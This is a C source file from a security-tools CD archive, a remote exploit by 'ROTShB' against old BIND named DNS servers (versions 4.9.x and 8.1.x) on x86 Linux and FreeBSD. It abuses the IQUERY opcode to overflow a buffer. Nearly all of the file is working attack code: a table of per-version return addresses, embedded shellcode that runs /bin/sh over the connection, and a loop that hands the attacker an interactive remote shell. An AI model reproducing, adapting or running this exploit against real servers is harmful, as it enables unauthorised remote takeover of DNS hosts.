home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / dns / iquery.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  10KB  |  389 lines
  1. /*
  2.  * have fun.
  3.  * -ROTShB
  4.  */
  5.  
  6. #include <unistd.h>
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <signal.h>
  10. #include <time.h>
  11. #include <string.h>
  12. #include <ctype.h>
  13. #include <netdb.h>
  14. #include <sys/time.h>
  15. #include <sys/types.h>
  16. #include <sys/socket.h>
  17. #include <arpa/inet.h>
  18. #include <arpa/nameser.h>
  19.  
  20. #define DEFAULT_TARGET       0
  21. #define DEFAULT_OPTIMIZATION 0
  22. #define DEFAULT_ANBUF_OFFSET 300
  23. #define DLEN_VAL             4
  24. #define NPACKETSZ            512
  25. #define NMAXDNAME            1025
  26. #define PRE_EGG_DATALEN      (1+(sizeof(short)*3)+sizeof(long))
  27. #define ALEN_VAL             (DLEN_VAL+PRE_EGG_DATALEN)
  28. #define BUFFSIZE             4096
  29.  
  30. struct target_type
  31. {
  32.   char          desc[40];
  33.   int           systype;
  34.   unsigned long addr;
  35.   unsigned long opt_addr;
  36.   int           fd;
  37. };
  38.  
  39. struct target_type target[] =
  40. {
  41.   {"x86 Linux 2.0.x named 4.9.5-REL (se)",0,0xbffff21c,0xbffff23c,4},
  42.   {"x86 Linux 2.0.x named 4.9.5-REL (le)",0,0xbfffeedc,0xbfffeefc,4},
  43.   {"x86 Linux 2.0.x named 4.9.5-P1 (se)",0,0xbffff294,0xbffff2cc,4},
  44.   {"x86 Linux 2.0.x named 4.9.5-P1 (le)",0,0xbfffef8c,0xbfffefb4,4},
  45.   {"x86 Linux 2.0.x named 4.9.6-REL (se)",0,0xbffff3e3,0xbffff403,4},
  46.   {"x86 Linux 2.0.x named 4.9.6-REL (le)",0,0xbffff188,0xbffff194,4},
  47.   {"x86 Linux 2.0.x named 8.1-REL (se)",0,0xbffff6a4,0xbffff6f8,5},
  48.   {"x86 Linux 2.0.x named 8.1-REL (le)",0,0xbffff364,0xbffff3b8,5},
  49.   {"x86 Linux 2.0.x named 8.1.1 (se)",0,0xbffff6b8,0xbffff708,5},
  50.   {"x86 Linux 2.0.x named 8.1.1 (le)",0,0xbffff378,0xbffff3c8,5},
  51.   {"x86 FreeBSD 3.x named 4.9.5-REL (se)",1,0xefbfd260,0xefbfd2c8,4},
  52.   {"x86 FreeBSD 3.x named 4.9.5-REL (le)",1,0xefbfd140,0xefbfd1a8,4},
  53.   {"x86 FreeBSD 3.x named 4.9.5-P1 (se)",1,0xefbfd260,0xefbfd2c8,4},
  54.   {"x86 FreeBSD 3.x named 4.9.5-P1 (le)",1,0xefbfd140,0xefbfd1a8,4},
  55.   {"x86 FreeBSD 3.x named 4.9.6-REL (se)",1,0xefbfd480,0xefbfd4e8,4},
  56.   {"x86 FreeBSD 3.x named 4.9.6-REL (le)",1,0xefbfd218,0xefbfd274,4},
  57.   {{0},0,0,0,0}
  58. };
  59.  
  60. unsigned long resolve(char *host)
  61.  
  62. {
  63.   long i;
  64.   struct hostent *he;
  65.  
  66.   if((i=inet_addr(host))==(-1))
  67.     if((he=gethostbyname(host))==NULL)
  68.       return(0);
  69.     else
  70.       return(*(unsigned long *)he->h_addr);
  71.  
  72.   return(i);
  73. }
  74.  
  75. int send_packet(int fd, char *buff, int len)
  76. {
  77.   char tmp[2], *ptr=tmp;
  78.  
  79.   PUTSHORT(len,ptr);
  80.  
  81.   if(write(fd,tmp,2)!=2)
  82.     return(-1);
  83.  
  84.   if(write(fd,buff,len)!=len)
  85.     return(-1);
  86.  
  87.   return(1);
  88. }
  89.  
  90. int attack(int fd, struct target_type t, unsigned long offset, int optimized)
  91. {
  92.   char buff[BUFFSIZE], *ptr=buff;
  93.   HEADER *dnsh=(HEADER *)buff;
  94.   unsigned long i;
  95.   int dlen, len=0;
  96.  
  97.   (void)memset(dnsh,0,sizeof(HEADER));
  98.  
  99.   dnsh->id      = htons(31337);
  100.   dnsh->opcode  = IQUERY;
  101.   dnsh->rd      = 1;
  102.   dnsh->ra      = 1;
  103.   dnsh->ancount = htons(1);
  104.  
  105.   ptr += sizeof(HEADER);
  106.   len += sizeof(HEADER);
  107.  
  108.   *ptr = '\0';
  109.   ptr++;
  110.  
  111.   i = T_A;
  112.   PUTSHORT(i,ptr);
  113.  
  114.   i = C_IN;
  115.   PUTSHORT(i,ptr);
  116.  
  117.   i = 31337;
  118.   PUTLONG(i,ptr);
  119.  
  120.   if(t.systype==0)
  121.     {
  122.       char c0de[] =
  123.         "\x31\xc0\xb0\x3f\x31\xdb\xb3\xff\x31\xc9\xcd\x80\x31\xc0\xb0\x3f\xb1"
  124.         "\x01\xcd\x80\x31\xc0\xb0\x3f\xb1\x02\xcd\x80\xeb\x24\x5e\x8d\x1e\x89"
  125.         "\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10"
  126.         "\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd7"
  127.         "\xff\xff\xff/bin/sh";
  128.  
  129.       if(optimized)
  130.         dlen = NPACKETSZ+(NMAXDNAME+3)+8-PRE_EGG_DATALEN;
  131.       else
  132.         dlen = NPACKETSZ+(NMAXDNAME+3)+(sizeof(int)*6)+8-PRE_EGG_DATALEN;
  133.  
  134.       PUTSHORT(dlen,ptr);
  135.       len += PRE_EGG_DATALEN;
  136.  
  137.       c0de[7] = t.fd;
  138.  
  139.       (void)memset(ptr,0x90,(sizeof(buff)-(ptr-buff)));
  140.  
  141.       i = NPACKETSZ-PRE_EGG_DATALEN-sizeof(c0de);
  142.       (void)memcpy((ptr+i),c0de,sizeof(c0de));
  143.  
  144.       if(!optimized)
  145.         {
  146.           (void)memcpy((ptr+(dlen-16-sizeof(c0de))),c0de,sizeof(c0de));
  147.           i = ALEN_VAL;
  148.           (void)memcpy((ptr+(dlen-16)),&i,sizeof(i));
  149.           i = DLEN_VAL;
  150.           (void)memcpy((ptr+(dlen-12)),&i,sizeof(i));
  151.         }
  152.       else
  153.         (void)memcpy((ptr+(dlen-4-sizeof(c0de))),c0de,sizeof(c0de));
  154.  
  155.       i = (optimized?t.opt_addr:t.addr)+offset;
  156.  
  157.       len += dlen;
  158.     }
  159.  
  160.  
  161.   else if(t.systype==1)
  162.     {
  163.       char c0de[] =
  164.         "\xeb\x6e\x5e\xc6\x06\x9a\x31\xc9\x89\x4e\x01\xc6\x46\x05\x07\x88"
  165.         "\x4e\x06\x51\x31\xdb\xb3\x04\x53\x66\xc7\x46\x07\xeb\xa7\x31\xc0"
  166.         "\xb0\x5a\x50\xeb\x50\xfe\xc1\x51\x53\xc6\x46\x08\xb6\x31\xc0\xb0"
  167.         "\x5a\x50\xeb\x41\xfe\xc1\x51\x53\xc6\x46\x08\xc5\x31\xc0\xb0\x5a"
  168.         "\x50\xeb\x32\xc7\x46\x07\x2f\x62\x69\x6e\xc7\x46\x0b\x2f\x73\x68"
  169.         "\x21\x31\xc0\x88\x46\x0e\x8d\x5e\x07\x89\x5e\x0f\x89\x46\x13\x8d"
  170.         "\x5e\x13\x53\x8d\x5e\x0f\x53\x8d\x5e\x07\x53\xb0\x3b\x50\xeb\x05"
  171.         "\xe8\x8d\xff\xff\xff";
  172.  
  173.       if(optimized)
  174.         dlen = NPACKETSZ+(NMAXDNAME+3)+8-PRE_EGG_DATALEN;
  175.       else
  176.         dlen = NPACKETSZ+(NMAXDNAME+3)+(sizeof(int)*6)+8-PRE_EGG_DATALEN;
  177.  
  178.       PUTSHORT(dlen,ptr);
  179.       len += PRE_EGG_DATALEN;
  180.  
  181.       c0de[22] = t.fd;
  182.  
  183.       (void)memset(ptr,0x90,(sizeof(buff)-(ptr-buff)));
  184.  
  185.       i = NPACKETSZ-PRE_EGG_DATALEN-sizeof(c0de);
  186.       (void)memcpy((ptr+i),c0de,sizeof(c0de));
  187.  
  188.       if(!optimized)
  189.         {
  190.           (void)memcpy((ptr+(dlen-16-sizeof(c0de))),c0de,sizeof(c0de));
  191.           i = ALEN_VAL;
  192.           (void)memcpy((ptr+(dlen-16)),&i,sizeof(i));
  193.           i = DLEN_VAL;
  194.           (void)memcpy((ptr+(dlen-12)),&i,sizeof(i));
  195.         }
  196.       else
  197.         (void)memcpy((ptr+(dlen-4-sizeof(c0de))),c0de,sizeof(c0de));
  198.  
  199.       i = (optimized?t.opt_addr:t.addr)+offset;
  200.       (void)memcpy((ptr+(dlen-4)),&i,sizeof(i));
  201.  
  202.       len += dlen;
  203.     }
  204.   else
  205.     return(0);
  206.  
  207.   return(send_packet(fd,buff,len));
  208. }
  209.  
  210. int main(int argc, char *argv[])
  211. {
  212.   char xbuf[128], ybuf[128];
  213.   unsigned long offset=DEFAULT_ANBUF_OFFSET;
  214.   int ti, opt=DEFAULT_OPTIMIZATION, sock, i;
  215.   int xlen=0, ylen=0;
  216.   fd_set rd, wr;
  217.   struct sockaddr_in sa;
  218.  
  219.   for(i=0;((target[i].addr)||(target[i].opt_addr));i++);
  220.  
  221.   if(argc<2)
  222.     {
  223.       (void)fprintf(stderr,"\ntarget types:\n");
  224.  
  225.       for(ti=0;ti<i;ti++)
  226.         (void)fprintf(stderr," %-2d : %s\n",ti,target[ti].desc);
  227.  
  228.       (void)fprintf(stderr,"\nerror: usage: %s <host> [tt] [opt] [ofst]\n",
  229.                     argv[0]);
  230.       exit(-1);
  231.     }
  232.  
  233.   if(argc>2)
  234.     {
  235.       ti = atoi(argv[2]);
  236.       if((ti<0)||(ti>i))
  237.         {
  238.           (void)fprintf(stderr,"error: invalid target type %d\n",ti);
  239.           exit(-1);
  240.         }
  241.     }
  242.   else
  243.     ti = DEFAULT_TARGET;
  244.  
  245.   if(argc>3)
  246.     {
  247.       opt = atoi(argv[3]);
  248.       if((opt!=0)&&(opt!=1))
  249.         {
  250.           (void)fprintf(stderr,"error: invalid optimization setting %d\n",opt);
  251.           exit(-1);
  252.         }
  253.     }
  254.  
  255.   if(argc>4)
  256.     offset = atoi(argv[4]);
  257.  
  258.  
  259.   if(!(sa.sin_addr.s_addr=resolve(argv[1])))
  260.     {
  261.       (void)fprintf(stderr,"error: can not resolve: %s\n",argv[1]);
  262.       exit(-1);
  263.     }
  264.  
  265.   sa.sin_family = AF_INET;
  266.   sa.sin_port   = htons(53);
  267.  
  268.   if((sock=socket(sa.sin_family,SOCK_STREAM,0))==(-1))
  269.     {
  270.       (void)perror("error: socket");
  271.       exit(-1);
  272.     }
  273.  
  274.   if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))==(-1))
  275.     {
  276.       (void)perror("error: connect");
  277.       exit(-1);
  278.     }
  279.  
  280.   (void)printf("target             : %s\n",inet_ntoa(sa.sin_addr));
  281.   (void)printf("target type        : %s\n",target[ti].desc);
  282.   (void)printf("optimized named    : %s\n",(opt?"YES":"NO"));
  283.   (void)printf("anbuff addr        : 0x%x\n",(unsigned int)
  284.                (i=(opt?target[ti].opt_addr:target[ti].addr)));
  285.   (void)printf("anbuff addr offset : %lu\n",offset);
  286.   (void)printf("ret addr           : 0x%x\n",(unsigned int)(i+offset));
  287.   (void)printf("fd to make dups of : %d\n",target[ti].fd);
  288.  
  289.   (void)printf("here we go...\n");
  290.  
  291.   switch(attack(sock,target[ti],offset,opt))
  292.     {
  293.     case -1:
  294.       (void)perror("error: attack");
  295.       exit(-1);
  296.       break;
  297.  
  298.     case 0:
  299.       (void)fprintf(stderr,"error: internal error\n");
  300.       exit(-1);
  301.       break;
  302.     }
  303.  
  304.   (void)printf("have fun.\n");
  305.   (void)printf("-ROTShB\n");
  306.  
  307.   while(1)
  308.     {
  309.       FD_ZERO(&rd);
  310.       if(ylen<(sizeof(ybuf)-1))
  311.         FD_SET(sock,&rd);
  312.       if(xlen<(sizeof(xbuf)-1))
  313.         FD_SET(fileno(stdin),&rd);
  314.  
  315.       FD_ZERO(&wr);
  316.       if(xlen)
  317.         FD_SET(sock,&wr);
  318.       if(ylen)
  319.         FD_SET(fileno(stdout),&wr);
  320.  
  321.       if((ti=select((sock+1),&rd,&wr,NULL,NULL))==(-1))
  322.         {
  323.           (void)perror("error: select");
  324.           break;
  325.         }
  326.  
  327.       if(FD_ISSET(fileno(stdin),&rd))
  328.         {
  329.           if((i=read(fileno(stdin),(xbuf+xlen),(sizeof(xbuf)-xlen)))==(-1))
  330.             {
  331.               (void)perror("error: read");
  332.               exit(-1);
  333.             }
  334.           else if(i==0)
  335.             break;
  336.  
  337.           xlen += i;
  338.           if(!(--ti)) continue;
  339.         }
  340.  
  341.  
  342.       if(FD_ISSET(sock,&wr))
  343.         {
  344.           if(write(sock,xbuf,xlen)!=xlen)
  345.             {
  346.               (void)perror("error: write");
  347.               exit(-1);
  348.             }
  349.  
  350.           xlen = 0;
  351.           if(!(--ti)) continue;
  352.         }
  353.  
  354.       if(FD_ISSET(sock,&rd))
  355.         {
  356.           if((i=read(sock,(ybuf+ylen),(sizeof(ybuf)-ylen)))==(-1))
  357.             {
  358.               (void)perror("error: read");
  359.               exit(-1);
  360.             }
  361.           else if(i==0)
  362.             break;
  363.  
  364.           ylen += i;
  365.           if(!(--ti)) continue;
  366.         }
  367.  
  368.       if(FD_ISSET(fileno(stdout),&wr))
  369.         {
  370.           if(write(fileno(stdout),ybuf,ylen)!=ylen)
  371.             {
  372.               (void)perror("error: write");
  373.               exit(-1);
  374.             }
  375.  
  376.           ylen = 0;
  377.           if(!(--ti)) continue;
  378.         }
  379.     }
  380.  
  381.   if(close(sock)==(-1))
  382.     {
  383.       (void)perror("error: close");
  384.       exit(-1);
  385.     }
  386.  
  387.   exit(0);
  388. }
  389.